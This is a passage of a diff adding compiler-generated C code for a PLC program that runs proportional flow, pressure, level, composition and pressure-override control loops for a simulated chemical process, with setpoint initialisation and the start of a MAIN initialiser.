__SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,30801,retain) + __INIT_VAR(data__->PRESS_SP_C,55295,retain) + __INIT_VAR(data__->OVER_SP_C,31675,retain) + __INIT_VAR(data__->LEVEL_SP_C,28835,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE99_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE99_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT2(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE4_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE4_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT3(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE5_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE5_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT4(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE7_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE7_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + 